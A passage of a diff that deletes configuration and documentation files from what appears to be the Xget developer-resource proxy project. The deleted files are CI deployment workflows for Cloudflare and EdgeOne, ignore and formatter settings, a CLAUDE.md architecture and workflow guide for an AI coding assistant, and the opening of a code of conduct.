cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: read
|
||||
deployments: write
|
||||
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && (github.event.workflow_run.event == 'push' || github.event.workflow_run.event == 'workflow_run' || github.event.workflow_run.event == 'workflow_dispatch') && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
|
||||
|
||||
steps:
|
||||
- name: Checkout pages branch
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: pages
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "22.11.0"
|
||||
|
||||
- name: Deploy to EdgeOne Pages
|
||||
run: npx edgeone pages deploy . -n xget6 -t ${{ secrets.EDGEONE_API_TOKEN }}
|
||||
@@ -1,179 +0,0 @@
|
||||
name: Sync to Pages and Functions
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["CI"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
convert-and-sync-pages:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: write
|
||||
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
|
||||
|
||||
steps:
|
||||
- name: Checkout main branch
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Configure Git
|
||||
run: |
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
|
||||
- name: Setup adapter files
|
||||
run: |
|
||||
mkdir -p /tmp/pages-conversion
|
||||
cp -r adapters/pages/* /tmp/pages-conversion/
|
||||
|
||||
- name: Copy source code files
|
||||
run: |
|
||||
cp -r src /tmp/pages-conversion/
|
||||
cp package.json /tmp/pages-conversion/
|
||||
cp package-lock.json /tmp/pages-conversion/ 2>/dev/null || true
|
||||
cp LICENSE /tmp/pages-conversion/
|
||||
|
||||
- name: Rewrite Pages adapter imports for converted layout
|
||||
run: |
|
||||
cd /tmp/pages-conversion
|
||||
python3 - <<'PY'
|
||||
from pathlib import Path
|
||||
|
||||
path = Path("functions/[[path]].js")
|
||||
old = "../../../src/app/handle-request.js"
|
||||
new = "../src/app/handle-request.js"
|
||||
|
||||
text = path.read_text(encoding="utf-8")
|
||||
if old not in text:
|
||||
raise SystemExit(f"expected import path not found in {path}")
|
||||
path.write_text(text.replace(old, new), encoding="utf-8")
|
||||
PY
|
||||
|
||||
- name: Update package.json for Pages
|
||||
run: |
|
||||
cd /tmp/pages-conversion
|
||||
# Update deployment commands to use Pages
|
||||
cat package.json | \
|
||||
sed 's/"deploy": "wrangler deploy"/"deploy": "wrangler pages deploy ."/' | \
|
||||
sed 's/"start": "wrangler dev"/"start": "wrangler pages dev ."/' \
|
||||
> package.json.tmp && mv package.json.tmp package.json
|
||||
|
||||
- name: Initialize pages branch
|
||||
run: |
|
||||
cd /tmp/pages-conversion
|
||||
git init
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
git checkout -b pages
|
||||
git add .
|
||||
git commit -m "Convert Workers to Pages
|
||||
|
||||
Auto-converted from main branch commit ${{ github.sha }}
|
||||
|
||||
Runtime files only (documentation, tests, and dev configs excluded)."
|
||||
|
||||
- name: Force push to pages branch
|
||||
run: |
|
||||
cd /tmp/pages-conversion
|
||||
git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git
|
||||
git push -f origin pages
|
||||
|
||||
- name: Clean up
|
||||
if: always()
|
||||
run: |
|
||||
rm -rf /tmp/pages-conversion
|
||||
|
||||
convert-and-sync-functions:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: write
|
||||
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
|
||||
|
||||
steps:
|
||||
- name: Checkout main branch
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: main
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Configure Git
|
||||
run: |
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
|
||||
- name: Setup adapter files
|
||||
run: |
|
||||
mkdir -p /tmp/functions-conversion
|
||||
# Copy all content from adapters/functions excluding package.json first
|
||||
cp -r adapters/functions/* /tmp/functions-conversion/
|
||||
# Copy the specific package.json for functions (overwriting if needed, but we do it later anyway)
|
||||
|
||||
- name: Copy source code files
|
||||
run: |
|
||||
# Copy only runtime-required files
|
||||
cp -r src /tmp/functions-conversion/
|
||||
# Note: We do NOT copy the root package.json here as we use the one from adapters/functions
|
||||
cp package-lock.json /tmp/functions-conversion/ 2>/dev/null || true
|
||||
cp LICENSE /tmp/functions-conversion/
|
||||
|
||||
- name: Rewrite Functions adapter imports for converted layout
|
||||
run: |
|
||||
cd /tmp/functions-conversion
|
||||
python3 - <<'PY'
|
||||
from pathlib import Path
|
||||
|
||||
replacements = {
|
||||
Path("api/index.js"): (
|
||||
"../../../src/app/handle-request.js",
|
||||
"../src/app/handle-request.js",
|
||||
),
|
||||
Path("deno.js"): (
|
||||
"../../src/app/handle-request.js",
|
||||
"./src/app/handle-request.js",
|
||||
),
|
||||
}
|
||||
|
||||
for path, (old, new) in replacements.items():
|
||||
text = path.read_text(encoding="utf-8")
|
||||
if old not in text:
|
||||
raise SystemExit(f"expected import path not found in {path}")
|
||||
path.write_text(text.replace(old, new), encoding="utf-8")
|
||||
PY
|
||||
|
||||
- name: Initialize functions branch
|
||||
run: |
|
||||
cd /tmp/functions-conversion
|
||||
git init
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
git checkout -b functions
|
||||
git add .
|
||||
git commit -m "Convert Workers to Functions
|
||||
|
||||
Auto-converted from main branch commit ${{ github.sha }}
|
||||
|
||||
Runtime files only (documentation, tests, and dev configs excluded)."
|
||||
|
||||
- name: Force push to functions branch
|
||||
run: |
|
||||
cd /tmp/functions-conversion
|
||||
git remote add origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git
|
||||
git push -f origin functions
|
||||
|
||||
- name: Clean up
|
||||
if: always()
|
||||
run: |
|
||||
rm -rf /tmp/functions-conversion
|
||||
@@ -1,43 +0,0 @@
|
||||
name: Deploy to Cloudflare Workers
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["CI"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
env:
|
||||
WRANGLER_VERSION: "4.76.0"
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: read
|
||||
deployments: write
|
||||
if: ${{ github.event_name == 'workflow_dispatch' || (github.event_name == 'workflow_run' && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'push' && github.event.workflow_run.head_branch == 'main' && github.event.workflow_run.head_repository.full_name == github.repository) }}
|
||||
steps:
|
||||
- name: Checkout main branch
|
||||
uses: actions/checkout@v7
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
|
||||
- name: Install Wrangler CLI
|
||||
run: npm install --global wrangler@${{ env.WRANGLER_VERSION }}
|
||||
|
||||
- name: Deploy to Cloudflare Workers
|
||||
env:
|
||||
CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
|
||||
CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
|
||||
run: wrangler deploy
|
||||
-172
@@ -1,172 +0,0 @@
|
||||
# Logs
|
||||
|
||||
logs
|
||||
_.log
|
||||
npm-debug.log_
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
.pnpm-debug.log*
|
||||
|
||||
# Diagnostic reports (https://nodejs.org/api/report.html)
|
||||
|
||||
report.[0-9]_.[0-9]_.[0-9]_.[0-9]_.json
|
||||
|
||||
# Runtime data
|
||||
|
||||
pids
|
||||
_.pid
|
||||
_.seed
|
||||
\*.pid.lock
|
||||
|
||||
# Directory for instrumented libs generated by jscoverage/JSCover
|
||||
|
||||
lib-cov
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
|
||||
coverage
|
||||
\*.lcov
|
||||
|
||||
# nyc test coverage
|
||||
|
||||
.nyc_output
|
||||
|
||||
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
|
||||
|
||||
.grunt
|
||||
|
||||
# Bower dependency directory (https://bower.io/)
|
||||
|
||||
bower_components
|
||||
|
||||
# node-waf configuration
|
||||
|
||||
.lock-wscript
|
||||
|
||||
# Compiled binary addons (https://nodejs.org/api/addons.html)
|
||||
|
||||
build/Release
|
||||
|
||||
# Dependency directories
|
||||
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# Snowpack dependency directory (https://snowpack.dev/)
|
||||
|
||||
web_modules/
|
||||
|
||||
# TypeScript cache
|
||||
|
||||
\*.tsbuildinfo
|
||||
|
||||
# Optional npm cache directory
|
||||
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
|
||||
.eslintcache
|
||||
|
||||
# Optional stylelint cache
|
||||
|
||||
.stylelintcache
|
||||
|
||||
# Microbundle cache
|
||||
|
||||
.rpt2_cache/
|
||||
.rts2_cache_cjs/
|
||||
.rts2_cache_es/
|
||||
.rts2_cache_umd/
|
||||
|
||||
# Optional REPL history
|
||||
|
||||
.node_repl_history
|
||||
|
||||
# Output of 'npm pack'
|
||||
|
||||
\*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
|
||||
.yarn-integrity
|
||||
|
||||
# dotenv environment variable files
|
||||
|
||||
.env
|
||||
.env.development.local
|
||||
.env.test.local
|
||||
.env.production.local
|
||||
.env.local
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
|
||||
.cache
|
||||
.parcel-cache
|
||||
|
||||
# Next.js build output
|
||||
|
||||
.next
|
||||
out
|
||||
|
||||
# Nuxt.js build / generate output
|
||||
|
||||
.nuxt
|
||||
dist
|
||||
|
||||
# Gatsby files
|
||||
|
||||
.cache/
|
||||
|
||||
# Comment in the public line in if your project uses Gatsby and not Next.js
|
||||
|
||||
# https://nextjs.org/blog/next-9-1#public-directory-support
|
||||
|
||||
# public
|
||||
|
||||
# vuepress build output
|
||||
|
||||
.vuepress/dist
|
||||
|
||||
# vuepress v2.x temp and cache directory
|
||||
|
||||
.temp
|
||||
.cache
|
||||
|
||||
# Docusaurus cache and generated files
|
||||
|
||||
.docusaurus
|
||||
|
||||
# Serverless directories
|
||||
|
||||
.serverless/
|
||||
|
||||
# FuseBox cache
|
||||
|
||||
.fusebox/
|
||||
|
||||
# DynamoDB Local files
|
||||
|
||||
.dynamodb/
|
||||
|
||||
# TernJS port file
|
||||
|
||||
.tern-port
|
||||
|
||||
# Stores VSCode versions used for testing VSCode extensions
|
||||
|
||||
.vscode-test
|
||||
|
||||
# yarn v2
|
||||
|
||||
.yarn/cache
|
||||
.yarn/unplugged
|
||||
.yarn/build-state.yml
|
||||
.yarn/install-state.gz
|
||||
.pnp.\*
|
||||
|
||||
# wrangler project
|
||||
|
||||
.dev.vars
|
||||
.wrangler/
|
||||
@@ -1,87 +0,0 @@
|
||||
# Dependencies
|
||||
node_modules/
|
||||
.pnp
|
||||
.pnp.js
|
||||
|
||||
# Production builds
|
||||
dist/
|
||||
build/
|
||||
|
||||
# Environment files
|
||||
.env
|
||||
.env.local
|
||||
.env.development.local
|
||||
.env.test.local
|
||||
.env.production.local
|
||||
|
||||
# Logs
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
coverage/
|
||||
*.lcov
|
||||
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# Optional npm cache directory
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
.eslintcache
|
||||
|
||||
# Output of 'npm pack'
|
||||
*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
.yarn-integrity
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
.cache
|
||||
.parcel-cache
|
||||
|
||||
# Next.js build output
|
||||
.next
|
||||
|
||||
# Nuxt.js build / generate output
|
||||
.nuxt
|
||||
dist
|
||||
|
||||
# Storybook build outputs
|
||||
.out
|
||||
.storybook-out
|
||||
|
||||
# Temporary folders
|
||||
tmp/
|
||||
temp/
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS generated files
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
|
||||
# Wrangler
|
||||
.wrangler/
|
||||
|
||||
# Git
|
||||
.git/
|
||||
|
||||
# Lock files (optional - uncomment if you want to format them)
|
||||
# package-lock.json
|
||||
# yarn.lock
|
||||
# pnpm-lock.yaml
|
||||
@@ -1,40 +0,0 @@
|
||||
{
|
||||
"arrowParens": "avoid",
|
||||
"bracketSameLine": false,
|
||||
"bracketSpacing": true,
|
||||
"embeddedLanguageFormatting": "auto",
|
||||
"endOfLine": "lf",
|
||||
"insertPragma": false,
|
||||
"jsxSingleQuote": true,
|
||||
"overrides": [
|
||||
{
|
||||
"files": "*.md",
|
||||
"options": {
|
||||
"printWidth": 80,
|
||||
"proseWrap": "always"
|
||||
}
|
||||
},
|
||||
{
|
||||
"files": "*.json",
|
||||
"options": {
|
||||
"printWidth": 120
|
||||
}
|
||||
},
|
||||
{
|
||||
"files": "*.yml",
|
||||
"options": {
|
||||
"singleQuote": false,
|
||||
"tabWidth": 2
|
||||
}
|
||||
}
|
||||
],
|
||||
"printWidth": 100,
|
||||
"proseWrap": "preserve",
|
||||
"quoteProps": "as-needed",
|
||||
"requirePragma": false,
|
||||
"semi": true,
|
||||
"singleQuote": true,
|
||||
"tabWidth": 2,
|
||||
"trailingComma": "none",
|
||||
"useTabs": false
|
||||
}
|
||||
@@ -1,376 +0,0 @@
|
||||
# CLAUDE.md
|
||||
|
||||
This file provides guidance to Claude Code (claude.ai/code) when working with
|
||||
code in this repository.
|
||||
|
||||
## Project Overview
|
||||
|
||||
Xget is a high-performance, Cloudflare Workers-based acceleration engine for
|
||||
developer resources. It provides unified acceleration for code repositories
|
||||
(GitHub, GitLab, etc.), package registries (npm, PyPI, Maven, etc.), container
|
||||
registries (Docker Hub, GHCR, etc.), and AI inference APIs (OpenAI, Anthropic,
|
||||
etc.).
|
||||
|
||||
The project operates as a reverse proxy that transforms incoming requests to
|
||||
match various platform APIs while adding security headers, caching, retry logic,
|
||||
and performance monitoring.
|
||||
|
||||
## Development Commands
|
||||
|
||||
### Core Commands
|
||||
|
||||
```bash
|
||||
# Start development server (Cloudflare Workers local environment)
|
||||
npm run dev # Runs on http://localhost:8787
|
||||
|
||||
# Deploy to Cloudflare Workers production
|
||||
npm run deploy
|
||||
|
||||
# Build and run tests
|
||||
npm run test # Run tests in watch mode
|
||||
npm run test:run # Run tests once
|
||||
npm run test:coverage # Generate coverage report
|
||||
npm run test:ui # Open Vitest UI
|
||||
|
||||
# Code quality
|
||||
npm run lint # Check code quality
|
||||
npm run lint:fix # Fix linting issues
|
||||
npm run format # Format code with Prettier
|
||||
npm run format:check # Check formatting without changes
|
||||
npm run type-check # TypeScript type checking (no emit)
|
||||
npm run commitlint # Validate the latest commit message
|
||||
```
|
||||
|
||||
## Commit Messages
|
||||
|
||||
- Use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) for
|
||||
every commit
|
||||
- Preferred format: `type(scope): description`
|
||||
- Common types: `feat`, `fix`, `docs`, `refactor`, `perf`, `test`, `chore`
|
||||
- The repository installs a `commit-msg` hook via `npm install`; do not bypass
|
||||
it unless explicitly required
|
||||
|
||||
## Pre-Commit Requirements
|
||||
|
||||
- Before every commit, run the local CI-equivalent checks from
|
||||
`.github/workflows/ci.yml`
|
||||
- Required commands: `npm run lint`, `npm run format:check`, `npm run test:run`,
|
||||
and `npm run type-check`
|
||||
- If any required check fails, do not commit until the failure is resolved
|
||||
- Apply this rule to every commit, including documentation-only changes, unless
|
||||
the user explicitly asks for a different workflow
|
||||
|
||||
### Testing Workflow
|
||||
|
||||
- Tests use Vitest with `@cloudflare/vitest-pool-workers` for Workers-specific
|
||||
testing
|
||||
- Run `npm run test:run` before committing to ensure all tests pass
|
||||
- Coverage reports are generated in `coverage/` directory
|
||||
|
||||
## Architecture
|
||||
|
||||
### Request Flow
|
||||
|
||||
1. **Entry Point**: `src/index.js` - Exports default Worker with `fetch()`
|
||||
handler
|
||||
2. **Validation**: `src/utils/validation.js` - Validates HTTP methods, path
|
||||
length, detects protocol types
|
||||
3. **Platform Detection**: URL path is parsed to identify platform (e.g., `/gh/`
|
||||
→ GitHub)
|
||||
4. **Path Transformation**:
|
||||
`src/routing/platform-transformers.js#transformPath()` converts request paths
|
||||
to upstream URLs
|
||||
5. **Protocol Handling**: Different handlers for Git, Docker, AI inference
|
||||
requests
|
||||
6. **Upstream Fetch**: Request forwarded with appropriate headers and retry
|
||||
logic
|
||||
7. **Response Processing**: URL rewriting for certain platforms (npm, PyPI),
|
||||
cache storage
|
||||
8. **Security Headers**: Added via `src/utils/security.js` before returning to
|
||||
client
|
||||
|
||||
### Key Components
|
||||
|
||||
#### Configuration (`src/config/`)
|
||||
|
||||
- **`index.js`**: Runtime configuration with environment variable overrides
|
||||
- `TIMEOUT_SECONDS`: Request timeout (default: 30s)
|
||||
- `MAX_RETRIES`: Retry attempts (default: 3)
|
||||
- `CACHE_DURATION`: Fallback mutable cache TTL (default: 300s = 5 minutes)
|
||||
- `SECURITY.ALLOWED_METHODS`: HTTP methods (default: GET, HEAD)
|
||||
|
||||
- **`platform-catalog.js`**: Platform base URL definitions
|
||||
- `PLATFORM_CATALOG`: Object mapping platform keys to base URLs
|
||||
|
||||
- **`routing/platform-index.js`**: Pre-sorted keys for efficient matching
|
||||
- `SORTED_PLATFORMS`: Longest-prefix-first platform matching order
|
||||
|
||||
- **`routing/platform-transformers.js`**: Platform-specific path rewriting
|
||||
- `transformPath()`: Converts request paths to platform-specific URLs
|
||||
- Special handling for crates.io (adds `/api/v1/crates` prefix) and Jenkins
|
||||
(adds `/current/` prefix)
|
||||
|
||||
#### Protocol Handlers (`src/protocols/`)
|
||||
|
||||
- **`git.js`**: Git protocol detection and header configuration
|
||||
- Detects Git operations via User-Agent, endpoints (`/info/refs`,
|
||||
`/git-upload-pack`)
|
||||
- Handles Git LFS via `Accept: application/vnd.git-lfs+json`
|
||||
|
||||
- **`docker.js`**: Container registry protocol (OCI/Docker)
|
||||
- Parses WWW-Authenticate headers for token authentication
|
||||
- Handles Docker registry v2 API authentication flow
|
||||
- Special redirect handling to prevent leaking auth tokens to blob storage
|
||||
|
||||
- **`ai.js`**: AI inference API detection and header forwarding
|
||||
- Detects requests to `/ip/*` platforms
|
||||
- Preserves all headers for AI API compatibility
|
||||
|
||||
#### Utilities (`src/utils/`)
|
||||
|
||||
- **`validation.js`**: Request validation logic
|
||||
- `isDockerRequest()`: Detects Docker/OCI operations
|
||||
- `validateRequest()`: Enforces security policies
|
||||
|
||||
- **`security.js`**: Security headers and error responses
|
||||
- Adds HSTS, X-Frame-Options, CSP, X-XSS-Protection
|
||||
- `createErrorResponse()`: Generates standardized error responses
|
||||
|
||||
- **`performance.js`**: Performance monitoring
|
||||
- `PerformanceMonitor`: Tracks request timing
|
||||
- Adds `X-Performance-Metrics` header to responses
|
||||
|
||||
### Caching Strategy
|
||||
|
||||
- Uses Cloudflare Cache API for GET requests (200 OK only)
|
||||
- Fallback mutable cache TTL controlled by `CACHE_DURATION` config
|
||||
- Skips cache for: Git operations, Docker operations, AI inference requests
|
||||
- Range requests: First checks for range-specific cache, falls back to full
|
||||
content cache
|
||||
|
||||
### Special Platform Handling
|
||||
|
||||
#### npm
|
||||
|
||||
- Rewrites `https://registry.npmjs.org/` URLs in JSON responses to point to Xget
|
||||
instance
|
||||
|
||||
#### PyPI
|
||||
|
||||
- Rewrites `https://files.pythonhosted.org` URLs in HTML responses to point to
|
||||
Xget instance
|
||||
- Uses separate `pypi-files` platform for file downloads
|
||||
|
||||
#### crates.io
|
||||
|
||||
- Adds `/api/v1/crates` prefix to all API requests
|
||||
- Handles search endpoint (`/?q=`) specially
|
||||
|
||||
#### Jenkins
|
||||
|
||||
- Adds `/current/` prefix to update center paths
|
||||
- Preserves `/experimental/` and `/download/` paths as-is
|
||||
|
||||
#### Docker Registries
|
||||
|
||||
- Handles authentication via token service
|
||||
- Uses manual redirect mode to strip Authorization headers before S3 redirects
|
||||
- Auto-retries with public token on 401 responses
|
||||
|
||||
## Code Structure Conventions
|
||||
|
||||
### File Organization
|
||||
|
||||
```
|
||||
src/
|
||||
├── index.js # Main Worker entry point
|
||||
├── app/
|
||||
│ ├── handle-request.js # Shared request pipeline
|
||||
│ └── request-context.js # Protocol-aware request classification
|
||||
├── config/
|
||||
│ ├── index.js # Runtime configuration
|
||||
│ ├── platform-catalog.js # Platform base URLs
|
||||
│ └── platforms.js # Compatibility exports
|
||||
├── protocols/
|
||||
│ ├── git.js # Git protocol handler
|
||||
│ ├── docker.js # Docker/OCI handler
|
||||
│ └── ai.js # AI inference handler
|
||||
├── response/
|
||||
│ └── finalize-response.js # Response shaping and cache writes
|
||||
├── routing/
|
||||
│ ├── platform-index.js # Platform matching order
|
||||
│ ├── platform-transformers.js
|
||||
│ └── resolve-target.js # Upstream target resolution
|
||||
├── upstream/
|
||||
│ ├── cache.js # Cache read helpers
|
||||
│ └── fetch-upstream.js # Upstream transport and retries
|
||||
└── utils/
|
||||
├── validation.js # Request validation
|
||||
├── security.js # Security utilities
|
||||
└── performance.js # Performance monitoring
|
||||
|
||||
test/
|
||||
├── features/ # Feature tests
|
||||
├── platforms/ # Platform-specific tests
|
||||
├── unit/ # Unit tests
|
||||
├── index.test.js # Core Worker tests
|
||||
└── integration.test.js # Integration tests
|
||||
```
|
||||
|
||||
### Important Patterns
|
||||
|
||||
#### Protocol Detection Order
|
||||
|
||||
1. Check if Docker request (via `isDockerRequest()`)
|
||||
2. Check if Git request (via `isGitRequest()`)
|
||||
3. Check if Git LFS request (via `isGitLFSRequest()`)
|
||||
4. Check if AI request (via `isAIInferenceRequest()`)
|
||||
5. Default to standard file download
|
||||
|
||||
#### Adding a New Platform
|
||||
|
||||
1. Add platform entry to `PLATFORM_CATALOG` in `src/config/platform-catalog.js`
|
||||
2. If special path transformation needed, add a transformer in
|
||||
`src/routing/platform-transformers.js`
|
||||
3. Add platform tests in `test/platforms/`
|
||||
4. Update README.md with platform documentation
|
||||
|
||||
#### Retry Logic
|
||||
|
||||
- Retries up to `MAX_RETRIES` times with linear backoff
|
||||
- Delay: `RETRY_DELAY_MS * attempts` (default: 1000ms, 2000ms, 3000ms)
|
||||
- Retries on: Network errors, timeouts, 5xx errors
|
||||
- Does NOT retry: 4xx errors (except Docker 401 which has special handling)
|
||||
|
||||
#### Error Handling
|
||||
|
||||
- All errors caught at top level in `handleRequest()`
|
||||
- Errors converted to JSON responses via `createErrorResponse()`
|
||||
- Performance metrics still added even on error paths
|
||||
|
||||
## Testing Guidelines
|
||||
|
||||
### Test Structure
|
||||
|
||||
- **Unit tests** (`test/unit/`): Test individual functions in isolation
|
||||
- **Feature tests** (`test/features/`): Test specific features (auth, caching,
|
||||
Git, performance)
|
||||
- **Platform tests** (`test/platforms/`): Test platform-specific transformations
|
||||
- **Integration tests** (`test/integration.test.js`): End-to-end request flows
|
||||
|
||||
### Running Specific Tests
|
||||
|
||||
```bash
|
||||
# Run specific test file
|
||||
npm run test:run test/unit/platforms.test.js
|
||||
|
||||
# Run tests matching pattern
|
||||
npm run test:run -- --testNamePattern "Docker"
|
||||
|
||||
# Run with coverage
|
||||
npm run test:coverage
|
||||
```
|
||||
|
||||
### Common Test Patterns
|
||||
|
||||
```javascript
|
||||
// Mock request creation
|
||||
const request = new Request('http://localhost/gh/microsoft/vscode', {
|
||||
method: 'GET',
|
||||
headers: { 'User-Agent': 'git/2.34.1' }
|
||||
});
|
||||
|
||||
// Mock environment
|
||||
const env = {};
|
||||
const ctx = { waitUntil: () => {} };
|
||||
|
||||
// Test the worker
|
||||
const response = await worker.fetch(request, env, ctx);
|
||||
expect(response.status).toBe(200);
|
||||
```
|
||||
|
||||
## Deployment
|
||||
|
||||
### Cloudflare Workers
|
||||
|
||||
- Primary deployment target
|
||||
- Uses GitHub Actions for CI/CD (`.github/workflows/workers.yml`)
|
||||
- Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` secrets
|
||||
|
||||
### Cloudflare Pages
|
||||
|
||||
- Alternative deployment via adapter in `adapters/pages/`
|
||||
- Auto-synced from `main` branch to `pages` branch
|
||||
- Uses separate workflow (`.github/workflows/pages-cf.yml`)
|
||||
|
||||
### Other Platforms
|
||||
|
||||
- **Vercel/Netlify**: Uses Functions adapter in `adapters/functions/`
|
||||
- **Deno Deploy**: Uses Functions adapter (compatible format)
|
||||
- **Docker**: Multi-stage build using `workerd` runtime
|
||||
|
||||
### Environment Variables
|
||||
|
||||
Configure in Cloudflare Workers dashboard or via `wrangler.toml`:
|
||||
|
||||
- `TIMEOUT_SECONDS`: Override default timeout
|
||||
- `MAX_RETRIES`: Override retry count
|
||||
- `CACHE_DURATION`: Override fallback mutable cache TTL
|
||||
- `ALLOWED_METHODS`: Override allowed HTTP methods (comma-separated)
|
||||
- `ALLOWED_ORIGINS`: Override CORS origins (comma-separated)
|
||||
|
||||
## Important Notes
|
||||
|
||||
### Security Considerations
|
||||
|
||||
- Never log or expose Authorization headers
|
||||
- Docker authentication tokens are stripped before S3 redirects
|
||||
- All responses include security headers (HSTS, CSP, X-Frame-Options, etc.)
|
||||
- Path length limited to prevent URL-based attacks (default: 2048 chars)
|
||||
|
||||
### Performance Optimization
|
||||
|
||||
- Use `ctx.waitUntil()` for cache writes to avoid blocking response
|
||||
- Range requests leverage cache when possible
|
||||
- Cloudflare edge caching (`cf` fetch options) for non-protocol requests
|
||||
- HTTP/3 enabled for supported clients
|
||||
|
||||
### Git/Docker/AI Requests
|
||||
|
||||
- Skip normal caching mechanisms
|
||||
- Allow POST/PUT/PATCH methods
|
||||
- Preserve all upstream headers
|
||||
- No performance headers added (to maintain protocol compatibility)
|
||||
|
||||
### URL Rewriting
|
||||
|
||||
- Only enabled for npm and PyPI platforms
|
||||
- Rewrites responses to point to Xget instance instead of upstream
|
||||
- Required for package managers to download dependencies through Xget
|
||||
|
||||
## Common Tasks
|
||||
|
||||
### Adding a New Platform
|
||||
|
||||
1. Add to `PLATFORM_CATALOG` in `src/config/platform-catalog.js`
|
||||
2. If special transformation needed, update
|
||||
`src/routing/platform-transformers.js`
|
||||
3. Add test in `test/platforms/`
|
||||
4. Update README.md documentation
|
||||
5. Test locally with `npm run dev`
|
||||
|
||||
### Debugging Requests
|
||||
|
||||
1. Use `npm run dev` to start local server
|
||||
2. Add `console.log()` statements in `src/app/handle-request.js` or the relevant
|
||||
extracted pipeline module
|
||||
3. Check Wrangler dev server output
|
||||
4. Inspect `X-Performance-Metrics` header in responses
|
||||
|
||||
### Fixing Test Failures
|
||||
|
||||
1. Run specific failing test: `npm run test:run test/path/to/test.js`
|
||||
2. Check mock setup matches actual request pattern
|
||||
3. Verify platform configuration in `src/config/platform-catalog.js` and
|
||||
`src/routing/platform-transformers.js`
|
||||
4. Run all tests before committing: `npm run test:run`
|
||||
@@ -1,80 +0,0 @@
|
||||
# Code of Conduct
|
||||
|
||||
## Our commitment
|
||||
|
||||
Xget aims to be a welcoming, respectful, and technically constructive open
|
||||
source project. Contributors, maintainers, and community members are expected to
|
||||
help create an environment where people can ask questions, share ideas, and
|
||||
collaborate without harassment or hostility.
|
||||
|
||||
## Scope
|
||||
|
||||
This code of conduct applies to project spaces, including:
|
||||
|
||||
- GitHub issues, pull requests, reviews, and discussions
|
||||
- Documentation, examples, and other repository content
|
||||
- Community spaces or events that are explicitly presented as part of Xget
|
||||
|
||||
## Expected behavior
|
||||
|
||||
- Be respectful and professional, even in disagreement
|
||||
- Focus feedback on code, design, documentation, and behavior, not on people
|
||||
- Share context, evidence, and reproduction steps when raising concerns
|
||||
- Welcome contributors with different backgrounds, skill levels, and use cases
|
||||
- Accept constructive feedback and course-correction gracefully
|
||||
|
||||
